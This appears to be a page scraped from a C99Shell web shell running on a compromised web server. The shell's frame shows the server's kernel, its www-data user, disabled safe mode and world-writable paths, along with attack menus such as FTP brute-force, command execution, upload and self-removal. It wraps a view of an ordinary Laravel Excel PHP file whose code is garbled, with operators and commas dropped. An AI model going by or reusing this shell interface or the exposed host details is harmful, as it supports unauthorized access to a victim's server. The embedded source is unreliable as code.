!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/maatwebsite/excel/src/Files/   drwxrwxrwx
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemporaryFileFactory.php (2.23 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Files;

use 
Illuminate\Support\Str;

class 
TemporaryFileFactory
{
    
/**
     * @var string|null
     */
    
private $temporaryPath;

    
/**
     * @var string|null
     */
    
private $temporaryDisk;

    
/**
     * @param string|null $temporaryPath
     * @param string|null $temporaryDisk
     */
    
public function __construct(string $temporaryPath nullstring $temporaryDisk null)
    {
        
$this->temporaryPath $temporaryPath;
        
$this->temporaryDisk $temporaryDisk;
    }

    
/**
     * @param string|null $fileExtension
     *
     * @return TemporaryFile
     */
    
public function make(string $fileExtension null): TemporaryFile
    
{
        if (
null !== $this->temporaryDisk) {
            return 
$this->makeRemote($fileExtension);
        }

        return 
$this->makeLocal(null$fileExtension);
    }

    
/**
     * @param string|null $fileName
     *
     * @param string|null $fileExtension
     *
     * @return LocalTemporaryFile
     */
    
public function makeLocal(string $fileName nullstring $fileExtension null): LocalTemporaryFile
    
{
        if (!
file_exists($this->temporaryPath) && !mkdir($concurrentDirectory $this->temporaryPath) && !is_dir($concurrentDirectory)) {
            throw new 
\RuntimeException(sprintf('Directory "%s" was not created'$concurrentDirectory));
        }

        return new 
LocalTemporaryFile(
            
$this->temporaryPath DIRECTORY_SEPARATOR . ($fileName ?: $this->generateFilename($fileExtension))
        );
    }

    
/**
     * @param string|null $fileExtension
     *
     * @return RemoteTemporaryFile
     */
    
private function makeRemote(string $fileExtension null): RemoteTemporaryFile
    
{
        
$filename $this->generateFilename($fileExtension);

        return new 
RemoteTemporaryFile(
            
$this->temporaryDisk,
            
config('excel.temporary_files.remote_prefix') . $filename,
            
$this->makeLocal($filename)
        );
    }

    
/**
     * @param string|null $fileExtension
     *
     * @return string
     */
    
private function generateFilename(string $fileExtension null): string
    
{
        return 
'laravel-excel-' Str::random(32) . ($fileExtension '.' $fileExtension '');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--